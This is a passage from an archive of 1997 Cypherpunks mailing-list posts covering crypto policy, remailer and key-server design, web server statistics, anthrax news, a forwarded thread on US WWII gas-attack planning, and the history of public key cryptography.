Message-ID: <199712280543.XAA00435@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>                     PENTAGON INTRODUCING HIGH-TECH DOG TAGS
>                                        
>      electronic military dog tag December 27, 1997
>      Web posted at: 7:58 p.m. EST (0058 GMT)
>      
>      From Correspondent Jonathan Karl
>      
>      WASHINGTON (CNN) -- Through triumph and tragedy and two world wars,
>      the military dog tag has been an American icon for generations of
>      soldiers and sailors.
>      
>      Today's armed forces wear the same basic dog tag that their
>      great-grandparents wore. But that's about to change.
>      
>      By 1999, the 1.4 million members of the active duty military will be
>      issued a high-tech dog tag that contains a computer chip. CNN's
>      Jonathan Karl reports
>      icon 2 min. VXtreme video
>      
>      The old dog tags had just five lines for information, which included
>      spaces for name, religion and blood type. The new digital tags,
>      however, can contain volumes of multi-media information, including
>      medical histories, X-rays and cardiograms.

[text deleted]

>      "We have to be very concerned about how we protect the information
>      -- in who's hands would it be, should it be encrypted, could the
>      encryption be broken, what would happen if it ended up in the wrong
>      hands," says Defense Secretary William Cohen.

[text deleted]

>      If issues of cost and privacy can be solved, the old metal dog tags
>      seem certain to become just another piece of military history.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Miller <dm0@avana.net>
Date: Sun, 28 Dec 1997 12:06:35 +0800
To: cypherpunks@Algebra.COM
Subject: NRA vs. KRA
Message-ID: <34A5DCD2.654AC12@avana.net>
MIME-Version: 1.0
Content-Type: text/plain



>From www.jya.com/cn122297.txt quoting 15 December 1997, Interactive
Week:

> Network Associates dropped out of the Key Recovery Alliance. But there
> are plenty of major players left, even if they include some of the harshest
> foes of current crypto policy. Remaining members include: 

> America Online Inc. 
> Compaq Computer Corp. 
> Digital Equipment Corp. 
> Entrust Technologies Ltd. 
> Frontier Technologies Corp. 
> Fujitsu Ltd. 
> IBM Corp. 
> Intel Corp. 
> NCipher Corp. 
> Novell Inc. 
> RSA Data Security Inc. 
> SafeNet Trusted Services Corp. 
> Silicon Graphics Inc. 
> Sun Microsystems Inc. 
> Trusted Information Systems Inc. 

Some of these players I would expect to sit at the key recovery table,
but why SUN?  Any of you California dudes know what's up with that?

Am I right in assuming that the International Elvis marketing deal will
never go through?

--David Miller

-- 
middle  rival
devil rim lad

Windows '95 -- a dirty, two-bit operating system.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@clueserver.org>
Date: Mon, 29 Dec 1997 03:56:10 +0800
To: cypherpunks@Algebra.COM
Subject: An interesting atricle on "High Tech" in Wash DC
Message-ID: <3.0.5.32.19971228112223.011b59a0@clueserver.org>
MIME-Version: 1.0
Content-Type: text/plain



While looking for something else on cnet.com, I found this article on
technology in Washington D.C..  Think your leaders are clueless on the
technology?  That is because none of them use it!  Take a read...

http://www.cnet.com/Content/Voices/Hart/111397/index.html


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 29 Dec 1997 04:37:58 +0800
To: cypherpunks@Algebra.COM
Subject: Andy Grove on Net Censorship
Message-ID: <v03102800b0cc5a0aa945@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




I just ran across this on Usenet, a quote from several months back:


*   C-SPAN Television, Wednesday June 5th, 1997
*
*   Andrew Grove, Chairman & CEO of Intel Corporation, is asked whether
*   bomb-making information should be censored from the Internet.
*
*   "No. The same information is available in libraries, and we don't
*   censor libraries, nor should we. When I was thirteen I built a
*   nitroglycerin bomb. It was an incredibly stupid thing to do,
*   and I knew someone who had their hand blown off, but I am
*   adamantly against censoring such material."
*
*   "And unlike a library, a parent can buy a program that uses keyword
*   monitoring to disallow Internet traffic per the parents' wishes.
*   Such a program is available now, and costs only $29."

Very well put. Maybe Grove can be convinced that Intel should not be part
of the Big Brotherish "Key Recovery Alliance."

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Mon, 29 Dec 1997 06:14:31 +0800
To: cypherpunks@cyberpass.net
Subject: Netcraft Web server survey
In-Reply-To: <md5:710F976392BBE68F658B207AC86013F1>
Message-ID: <v03102803b0cc6fdfe08b@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



The Web continues its staggering growth.  According to the just published Netcraft Web server survey, http://www.netcraft.co.uk/Survey , the most popular servers increased in number from 1274396 in November to 1408805 in December (a compound annual rate of over 12%.)

Microsoft's Microsoft-IIS was the bigest gainer both in percentage (2.83) and numbers of sites (70838), while Apache continued to easily hold the high ground gaining only a somewhat smaller 60,000 new sites. The biggest losers were Netscape, slipping almost 3% in marketshare and NCSA.  C2's Apache server, while gaining a healthy 1500 new sites for the month (for an annualized rate of 18,000 unit sales), lost 0.1% in overall marketshare.


                               Top Servers

                 Server       Nov 97 Percent Dec 97 Percent Change
          Apache              695283   44.74 753341   44.79  0.05
          Microsoft-IIS       280917   18.08 351755   20.91  2.83
          Netscape-Enterprise  82304    5.30  88616    5.27 -0.03
          NCSA                 68719    4.42  68097    4.05 -0.37
          Stronghold           40276    2.59  41829    2.49 -0.10

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 29 Dec 1997 07:02:28 +0800
To: Patrick May <cypherpunks@cyberpass.net>
Subject: Re: Why I Support Microsoft
In-Reply-To: <v0310280db0c2f8195048@[207.167.93.63]>
Message-ID: <v03102801b0cc797c0c9d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:53 PM -0700 12/27/97, Patrick May wrote:


>The President should issue an executive order mandating that all
>government agencies immediately remove all Microsoft operating systems
>from their machines, to be replaced with Linux.  All Microsoft
>products should be eliminated as well.  The standard text format
>should be LaTeX.  All businesses receiving money from government
>contracts should be required to use the same tools.
>
>     This would cut down dramatically on the money spent on software
>by the government, eliminate compatibility problems between users of
>different versions of Microsoft products, encourage enormous growth in
>the Linux software market, and guarantee that Microsoft would never
>again be considered a monopoly.  All this without ever entering a
>courtroom.

Much to be said for this "free market solution." Certainly the Justice
Department has no business screaming "monopoly!" if it's still
"standardizing" on MS products.

Though I don't know just how pervasive Microsoft products are within the
government and military offices, I'd venture that MS products are indeed
pervasive.

I don't believe there are any requirements that documents sent in to
agencies be in some proprietary MS format, and certainly none that
citizen-units only communicate with the gubment in approved Excel or Word
language. Though this could be coming, as the lines between government and
industry are further blurred.

(E.g., Microsoft agrees to unbundle Explorer in exchange for the USG
requiring all paperwork be done with Microsoft Office. Not likely, but a
scary thought.)

On the other hand, requiring _any_ language, program, or OS is probably a
mistake. If the Arctic Cartography Office wants to keep using its Macs, why
should some bureaucrat force them to scrap their Macs and use Linux?

(Yeah, yeah, a form of Linux, MK-Linux, runs on Macs. But Adobe Photoshop
doesn't run under Linux. And Mathematica doesn't run under Linux for the
Mac (last I checked). And so on. The point is, why standardize at the end
of a gun?)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 29 Dec 1997 08:26:45 +0800
To: cypherpunks@toad.com
Subject: Re: The Anonymizer and IRC
In-Reply-To: <199712281825.TAA04672@basement.replay.com>
Message-ID: <NBXFie30w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:

> The Anonymizer does in fact only provide restricted access by http and NO
> IRC.
> For instance, the Anonymizer blocks Dejanews, Hotmail and mailto.cgi forms.
> I could understand that they block sites that explicitly request to be
> blocked to prevent abuse.
> But what if I want to make a mailto.cgi or IRC script available by http.
> Should people be disallowed from accessing this through The Anonymizer
> even if I do not request it?
> It should at least be possible to allow access to such scripts for The
> paid accounts.
> If they keep logs in case of a U. S. law violation, I see no problem of
> liability arosing from such access.
> They have also restricted their shell access for which you pay US $ 7 per
> moth to IRC.
> Does that sound more reasonable than blocking the nntp port?
> Does anyone know other ISPs who provide privacy and do not block
> abitrarily without _prior request_ from the site in question?

I think it's been pretty well established on this mailing list than
Lance Cottrell is no friend of privacy and free speech.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 29 Dec 1997 06:00:47 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Africa & Anthrax - A timely model? [CNN]
Message-ID: <199712282218.QAA01689@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>          MYSTERY DISEASE IN KENYA AND SOMALIA COULD BE FORM OF ANTHRAX
>                                        
>      Web posted at: 3:30 p.m. EST (2030 GMT)
>      
>      NAIROBI, Kenya (AP) -- An unexplained disease that has caused scores
>      of Kenyans, Somalis and livestock to bleed to death this month may
>      be a form of anthrax, medical experts said Sunday.
>      
>      "At the moment, the evidence that we have agrees the most with an
>      outbreak of anthrax," said Dr. Douglas Klaucke, acting World Health
>      Organization representative in Kenya.
>      
>      The evidence includes symptoms -- high fever, diarrhea, intestinal
>      problems, vomiting blood -- that are similar to those of intestinal
>      anthrax, a rare manifestation of the illness that causes stomach
>      ulcers and inflames the intestines.
>      
>      Another sign that anthrax may be to blame is that the disease can be
>      contracted by eating undercooked, infected meat -- a common practice
>      in Somalia and Kenya, where recent flooding has marooned thousands
>      of people who are eating carcasses of sick animals, Klaucke said.

With the recent announcement of Anthrax innoculations to be given to all US
military personnel because of potential bio-war applications many questions
have come up about what this means both militarily as well as for civilian
targets.

Such outbreaks as the above give real-world examples of the virulence of the
pathogen, efficiency of medical & political responces, as well as a base
lines to compare to models for disease spread.

In short, such instances as above represent the 'best effort' responce that
could be expected.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 29 Dec 1997 06:57:27 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Some ideas (fwd)
Message-ID: <199712282315.RAA01843@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi Doug,


Forwarded message:

> From: "Douglas R. Floyd" <dfloyd@ssz.com>
> Subject: Some ideas
> Date: Sun, 28 Dec 1997 16:18:14 -0600 (CST)

> I have been pondering this:  To save on bandwidth, I wonder about having
> two types of OSS sites

OSS?

> -- a "control" site which switchboards incoming/outgoing
> stuff to "data" sites.

Which needs to have access to at least *all* incoming requests for data as
well as a channel to other switchboard sites so they can catalog those
requests and won't have to look them up more than once, after that they
simply use the request as a key to a index of sources.

>  This would help with distributing bandwidth load,
> and since "data" sites just store encrypted items, the "control" site can
> be made more secure.

I suspect all the traffic would need to be encrypted to get this to work
well. The channels between the switchboards and the databanks also need to
be encrypted in such a manner that it is transparent even to the operators
what the keys are at any given time. Also, assuming the user provides a
request to a switchboard, who then determines the correct server through
some mechanism, contacts that databank server and requests a transmission,
and finaly the databank server sends the data to the user. How do we track
the various keys and verify that the user making the request is the user
getting the data? Is the switchboard and databank servers simply tracking
the key provided by the original request sufficient?

> Another random thing is a way to build a CD-ROM jukebox that would
> automatically burn a CD when data meets the requirements of "valuable", and
> "offline".  Then, when the data is needed again, its fished out and loaded.

What you need is a pick-and-place system. It would consist of a handling
mechanism, a burning mechanism, a jukebox mechanism, and a CD storage
mechanism. Personaly I wouldn't want them all in one in case any one broke
down the rest of the system could still keep working.

Valuable to who? For how long? Who pays for the stack of CD's up front? What
kind of amortization schedule are we looking at for paybacks? Since we are
looking at a automated system, what does 'offline' mean when the
pick-and-place goes over to the rack and pulls the CD to place in the
jukebox and it is now online? How do we charge the user?

> Some type of IP encapsulation using public key encryption, so machine A
> that is talking to machine D would encapsulate the whole packet with machine
> D's key, C's key, and B's key.  Then the packet is sent to box B, which
> decodes it, looks where to send it, then kicks it to C.  C then looks at
> it, sends it to machine D.  Basically a "remailer", where each packet is
> a message.
> 
> Is this feasable at all?

Yeah, mixmaster does something similar to this. The problem I have with
mixmaster is that the sender has to set up the chaining and keys and such.
There simply isn't a clear mechanism (as I understand mixmaster) to do this
transparently. One look at the chaining file that is required is enough to
explain why granny doesn't use chained mixmaster remailers.

Now if we want to do it in the protocol stack then we have a problem because
it isn't supported in the standard.

What I would do is a little different. An example...

Let's assume we have 4 remailers, A to D. The sender sends a packet to A
that's header is in the clear. Once A gets it, addressed to an appropriate
user to invoke the decryption process, it decrypts the body of the packet.
What it assumes is there is another valid packet with unencrypted header
which it passes on to B. B gets it and de-crypts it and passes it on. This
happens in C and D as well. At no point does any of the processes need to do
anything other than use its own key to decrypt. If that fails the packet is
trashed. Since no information about its previous source was passed to D from
C this failure won't propogate back up the chain, providing a measure of
source security. D takes the packet, whose body is still encrypted and
remails it to the next address in the header, in this example the actual
destination.

The issue for me is how do the remailers handle the pass-off. Here are a
few of the choices:

 -  the existing mechanism which is completely dependant on the user and
    their technical skill. I don't like this one, too people intensive.

 -  the sender does it by reference to a key-server and automated chaining
    software. The software would ask for a sequence of available remailers
    from the user, go off to the key-server and get the appropriate keys,
    and create the nested encrypted packets. Then it only has to send them
    on their way. Still a tad too technical for granny I suspect.

 -  the sender provides a source destination and a number of remailers. The
    software goes to the key-server, looks up the available remailers
    (hopefuly there are more than the number requested by the sender) and
    selects the appropriate number through some mechanism (PRNG is my
    choice). It then creates the chained packet and sends it on its way.
    I suspect granny could deal with this one, she knows how to count and
    has sonnie's email address in her mailer software.

What I like about this is the key server represents a mechanism for income.
It would cost say $1/month to store your key on the server and then anyone
who made the request would get it. The key would automaticaly age and expire
if the user didn't keep paying the fee. Further, there would be no
distinction between remailers, users, or other processes as to the actual
key. It would consist of a list similar to:

 <user_id>:<expiration_date>:<encryption_protocol>:<encryption_key>

for example:

ravage@ssz.com:12/30/98:PGP:3$@48@DDcq*

(note that some sort of escape mechanism needs to be included so that :'s
 can be used in keys as well. I put the actual key last. That way I know
 that any : after the encryption_protocol is a part of the key.)

I would have to make requests of the sort:

<user_id>:<encryption_protocol>

ie:

ravage@ssz.com:*

Where '*' would return a complete listing for that ID of all registered
keys.

So to use it I would send an email with the key request(s) in the body
one to a line and sent it to 'key-server@ssz.com'. The key-server would
return something like:

Request:

ravage@ssz.com:*

Key(s):

ravage@ssz.com:12/30/98:PGP:#sD81xD@)d

Now there is a problem if the key is multi-part. To handle those I would put
each key part on a seperate line:

Key(s):

ravage@ssz.com:12/30/98:Multi-Key:23$@%dSk*
ravage@ssz.com:12/30/98:Multi-Key:4dseP2*!

So what you would end up with is:

Request:

<data>

Key(s):

<data>

Request:

<data>

Key(s):

<data>
<data>

Request:

<data>

Key(s):

<data>


Hope that helps. If you use the key server idea as I am explaining it please
make shure I get credit for it. As far as I am aware nobody else is using a
system similar, nor has one been proposed by other parties. If you find this
is an error on my part please let me know.



    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 29 Dec 1997 08:17:16 +0800
To: cypherpunks@Algebra.COM
Subject: Some interesting WWI Info
Message-ID: <0cf851a05908c4d03cde79cf0fd3f18b@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



SFRT 1 - Reading
Category 22,  Topic 2
Message 621       Wed Dec 17, 1997
T.TELENKO [MilTech Bard]     at 08:05 EST

  The Autumn 1997 issue of MILITARY HISTORY QUARTERLY had an article by
Norman Polmar and Thomas Allen on U.S. military plans to gas Japan during
Operation Olympic.

  They ran accross references and put in a FOIA request.  Eventually they
got a copy of a document labeled "A Study of the Possible Use of Toxic Gas
in Operation Olympic."  The word "Retaliatory" was PENCILED in between
possible and use.

  Apparently there were only five of these documents circulated during WW2.
After the war in 1947 the  document was requested by the chemical corp for
historical study.  In an attempt to "Redact" history, another document was
issued to change all the copies to emphisis "Retaliatory" rather than the
reality of the US planning to use it offensively in support of the invasion
of Japan.

  The plan called for US heavy bombers to drop 56,583 tons of gas in the 15
days before the invasion of Kyushu than another 23,935 tons every 30 days
after that -- and that was just the STRATEGIC bombing campaign.  Tactical
air support was in addition to that.

  The ground weapons would contribute 1,400 tons of gas shells.  At the time
of the invasion, 144,762 tons of gas shells were available.  Another 9,356
tons would arrive every 30 days after the invasion.

  Chemical Corps casualty estimates for this attack plan were 5 million dead
with another 5 million casualties.  Ultimatly, it looks like the plan was
not approved, but prepared for since the gas to impliment it was sent to the
Pacific -- Likely as a back up to the A-bomb.

  Had the Japanese carried out their plan to kill Allied POW's and
civilians, the Allied responce would have been horrific.
 ------------
SFRT 1 - Reading
Category 22,  Topic 2
Message 622       Wed Dec 17, 1997
T.HOLSINGER [Tom]            at 09:53 EST

I wasn't aware there was an _offensive_ plan, but I knew of the scale of the
planned "retaliatory" use of gas.  These things have a tendency to snowball.

Trent doesn't mention that the plan called for mass spraying of mustard gas
over urban areas _at the beginning_ of this attack.  That isn't retaliation.
It is extermination.  My estimate of 25-30 million Japanese dead during the
US conquest of Japan was based on such a use of chemical warfare, though
most of the dead, IMO, would have been from starvation and malnutrition-
boosted disease.

Trent's discovery here shows some elements of the US government planned
overt genocide on Japan.  The coverup makes it appear that someone at least
felt guilty about it.  I'd be a lot more comfortable if there was evidence
that these planners were then aware, via SIGINT, of the orders the Imperial
Japanese Army had already given, when the invasion of Japan started, to
murder all Allied POW's, all interned Allied civilians, and every Allied
civilian they could catch in areas occupied by the IJA.

My estimate is that the IJA could have murdered at least several million
Allied civilians a week for months.  The A-bomb, IMO, saved more lives than
were lost in all of WWII.
 ------------
SFRT 1 - Reading
Category 22,  Topic 2
Message 623       Wed Dec 17, 1997
T.ZBARASCHU1 [Tony]          at 10:28 EST

I believe that the U.S. considered using gas at Iwo Jima, but decided not
to.

Trent, any evidence that this was a seriously considered plan, as opposed to
a staff study that the planners drew up just to see what the necessary
requirements would be?

 ------------
SFRT 1 - Reading
Category 22,  Topic 2
Message 624       Wed Dec 17, 1997
JOHN.BARNES [John Barnes]    at 11:35 EST

Moving poison gas in those quantities strikes me as reasonably good evidence
that somebody was doing more than playing paper games.
 ------------
SFRT 1 - Reading
Category 22,  Topic 2
Message 625       Wed Dec 17, 1997
T.TELENKO [MilTech Bard]     at 13:12 EST

  According to Allen and Polmar, the June 18, 1945 meeting where Harry
Truman was briefed on Operation Downfall -- the over all plan to invade
Japan -- by Adm King, Gen Marshall and the rest of the Joint Chiefs was
probably when the topic was broached.

  We know now that the decision to drop the atomic bomb was made then,
although the notes for the meeting only refered to "undisclosed topics.".

  On 21 June 1945, orders were issued by the Army to produce and ship the
necessary quantities of war gas to the Pacific Theater to impliment the
plan.

  The key passage from that Gas Attack Plan was:

  "Gas is the one single weapon hitherto unused which we can have readily
available which assuredly can greatly decrease the cost in American lives
and should materialy shorten the war."

  I'd say that this meeting decided that the US was unwilling to take the
kind of mass casualties, using Okinawa as a model, that a conventional
landing would cost and any available WMD would be used to reduce American
casualties.


 ------------
SFRT 1 - Reading
Category 22,  Topic 2
Message 626       Wed Dec 17, 1997
T.HOLSINGER [Tom]            at 21:43 EST

Trent,

Your 625's logic is convincing.  The timing makes it look as though there
was a Presidential decision on June 18 to conduct a strategic gas attack on
Japan in preparation for the invasion, if the A-Bomb didn't work.

This presents a completely different picture than what I had imagined.  I
thought the Japanese would have initiated genocide in the event of invasion.
Instead there is fair evidence that we would have started it.

My recollection is that Imperial Headquarters gave the genocide orders to
Field Marshal Teruachi in July.
 ------------
SFRT 1 - Reading
Category 22,  Topic 2
Message 627       Wed Dec 17, 1997
T.TELENKO [MilTech Bard]     at 22:39 EST

  The thing that sticks out for me is that Truman's choice was not Invasion
or the A-Bomb.  It was Gas, Invasion and the A-Bomb.

  Any way promised a great deal of dead.

  Truman chose the route that was most likely to shock the Japanese into
surrendering with the least loss of life.  History will judge him
differently in the long term because of the finding of this document.  This
also explains his expressed strong faith in having taken the correct corse
of action.

  Still, we don't know exactly what was said on the subject of gas in that
meeting.  I suspect the full, genocidal, aspects of the gas attack plan
would not have been implimented until Operation Coronet.  That is, after the
Japanese started murdering Allied POW's and interned/occupied civilians.

  Operation Olympic -- the invasion of Kyushu -- would probably have been
limited to gasing the beaches and air fields after a series of raids by the
carrier fleets.  To lay the proper political ground work for the use of gas,
the US Government would have released the newsreels of the Kamikazi attacks
on the US Navy off of Okinawa and Japan.

  The shock that would have delivered to the American public would have
prepared them for the arguement that gas was needed to win.
 ------------
SFRT 1 - Reading
Category 22,  Topic 2
Message 628       Wed Dec 17, 1997
L.TILTON [Lois]              at 23:18 EST

I wonder if there were not contingency plans for gassing Berlin.  The A-bomb
was originally proposed to be used against Berlin, but it wasn't ready in
time.
 ------------
SFRT 1 - Reading
Category 22,  Topic 2
Message 629       Wed Dec 17, 1997
JOHN.BARNES [John Barnes]    at 23:26 EST

There was also some hope, in late '43 when things looked like they were
coming together faster than they did, of either using the bomb to create a
no-resistanc e landing area, or using it on a rail center to prevent
reinforcement for D-Day.

I think the biggest hope was really just to get it before Hitler, who, had
the Nazis not been such nitwits, had what looked like overwhelming odds of
getting there first.
 ------------
SFRT 1 - Reading
Category 22,  Topic 2
Message 630       Thu Dec 18, 1997
T.ZBARASCHU1 [Tony]          at 00:43 EST

Orders to produce and ship that much gas?  OK, I'll accept that as evidence
that this was more than a "staff plan".  OTOH, we did keep a fair amount of
gas on hand in the European theater for retaliatory purposes, but this
particular document does look like it was a bit more than retaliatory.

Thank God for the atom bomb.

Thank God I didn't have to make that decision.

 ------------
SFRT 1 - Reading
Category 22,  Topic 2
Message 631       Thu Dec 18, 1997
T.TELENKO [MilTech Bard]     at 12:48 EST

  The American Army in WW2 carried around huge amounts  of war gas as a
matter of course.  In Early 1943, MacArther had at his disposal in the South
West Pacific area the following:

 o 15,000 gas Howitzer shells
 o 19,000 gas mortar shells
 o 22,500 five inch rocket shells
 o 18,000 aerial bombs of various sizes
 o 6,500 aerial spray tank kits.

  By the end of 1945, the US had 4.4 million gas artillery shells, 1 million
mortar rounds, 1.25 million gas aerial bombs and 112,000 aerial spray tank
kits.

  What counts is policy and the intent to follow it.

  The article mentions that Gen Marshall brought up the use of gas in a 29
May 1945 meeting with War Sec. Stimpson.  He wanted to use gas against the
"outer japanese islands" with less than our best war gas (Mustard gas) to
"take the fight out of" the Japanese soldier and reduce American casualties.

  He then commissioned a the study I have been quoting using chemical
warfare officers and USAAF targetiers -- one Col and three Capt. -- who
introduced the major strategic gassing angle.  I got the impression that
they wanted to use their toy to the fullest, rather than smooth the invasion
via reduced American casualties.

  I suspect my idea of military gassing only -- landing beaches and
airfields -- during Operation Olympic was the most likely policy result.

  After the Japanese Army went on its killing spree, all bets are off.
 ------------










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Julian Assange <proff@iq.org>
Date: Sun, 28 Dec 1997 16:25:10 +0800
To: Information Security <guy@panix.com>
Subject: Re: cypherpunks missing from Usenet
In-Reply-To: <199712280157.UAA17694@panix2.panix.com>
Message-ID: <wxhg7topez.fsf@polysynaptic.iq.org>
MIME-Version: 1.0
Content-Type: text/plain



Information Security <guy@panix.com> writes:

> The Clive Feather person is emphatic only real child porn
> is being deleted and reported to the police; he clarified
> that the 1800 items listed for Sep 1997 are *total* for
> the existence of IWF.
> 
> So, it's probably going to take me several weeks to
> verify his claim.
> 
> I back off from my claim (based on his dialog) that
> they are canceling mere nudity, for now.
> ---guy

Who-fucking-ray.

Less talk, more code.

-- 
Prof. Julian Assange  |If you want to build a ship, don't drum up people
                      |together to collect wood and don't assign them tasks
proff@iq.org          |and work, but rather teach them to long for the endless
proff@gnu.ai.mit.edu  |immensity of the sea. -- Antoine de Saint Exupery





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 29 Dec 1997 02:30:41 +0800
To: cypherpunks@cyberpass.net
Subject: The Anonymizer and IRC
Message-ID: <199712281825.TAA04672@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain





The Anonymizer does in fact only provide restricted access by http and NO 
IRC.
For instance, the Anonymizer blocks Dejanews, Hotmail and mailto.cgi forms.
I could understand that they block sites that explicitly request to be 
blocked to prevent abuse.
But what if I want to make a mailto.cgi or IRC script available by http.
Should people be disallowed from accessing this through The Anonymizer 
even if I do not request it?
It should at least be possible to allow access to such scripts for The 
paid accounts.
If they keep logs in case of a U. S. law violation, I see no problem of 
liability arosing from such access.
They have also restricted their shell access for which you pay US $ 7 per 
moth to IRC.
Does that sound more reasonable than blocking the nntp port?
Does anyone know other ISPs who provide privacy and do not block 
abitrarily without _prior request_ from the site in question?
A private interest can do anything, but anyway.

*                                                                   *
*===================================================================*
For subscription info see http://www.efga.org/about/maillist.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Mon, 29 Dec 1997 03:54:09 +0800
To: cypherpunks@toad.com
Subject: NY Times on history of public key crypto
Message-ID: <199712281935.UAA12513@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




      By PETER WAYNER
      
   T o the list of institutions that Tony Blair's Labor Party is shaking
   up, add the British Secret Service. Last week, the British
   government's eavesdropping organization known as the Government
   Communications Headquarters, or GCHQ, posted a document to its Web
   site describing its role in the discovery of public key cryptography.
   
   The set of algorithms, equations and arcane mathematics that make up
   public key cryptography are a crucial technology for preserving
   computer privacy in and making commerce possible on the Internet. Some
   hail its discovery as one of the most important accomplishments of
   20th-century mathematics because it allows two people to set up a
   secure phone call without meeting beforehand. Without it, there would
   be no privacy in cyberspace.
   
   The move by the once dusty and secretive organization is clearly an
   attempt to recast its image as a pioneering leader of cyberspace.

   For the last 20 years, the public gave credit for the discovery to
   Martin Hellman, a professor at Stanford University, and two graduate
   students who worked with him at the time, Ralph Merkle and Whitfield
   Diffie. They started publishing their work in 1976.
   
   Three professors at the Massachusetts Institute of Technology at the
   time, Ron Rivest, Adi Shamir and Len Adleman soon followed with
   another similar approach known by their initials, RSA, which went on
   to become one of the dominant solutions used on the Internet.
   
   Before public key cryptography, anyone who wanted to use a secret code
   needed to arrange for both sides to have a copy of the key used to
   scramble the data, a problem that requires either trusted couriers or
   advance meetings. PKC, as it is sometimes known, erased this problem
   by making it possible for two people, or more properly their
   computers, to agree upon a key by performing some complicated
   mathematics. There is no publicly known way for an eavesdropper to
   pick up the key by listening in.
   
   T he new document details how three employees of the British
   government discovered the same approach several years earlier, but
   kept it a secret for reasons of national security. A spokesman for the
   British government's GCHQ, said that the document's release is part of
   a "pan-governmental drive for openness" pushed by the Labor party.
   
   The document describing the steps of invention taken by the spies was
   written by James Ellis, a mathematician and cryptographer who died
   less than a month ago. In it, Ellis describes how he suggested the
   existence of what he called "non-secret encryption" in 1970s.
   
   Ellis says that Clifford Cocks followed with a more practical solution
   in 1973 that was essentially the same thing as the algorithm published
   by Rivest, Shamir and Adleman. The paper also says that Malcolm
   Williamson discovered an algorithm in 1974 that was very similar to
   the work of Diffie and Hellman. They did not replicate the work done
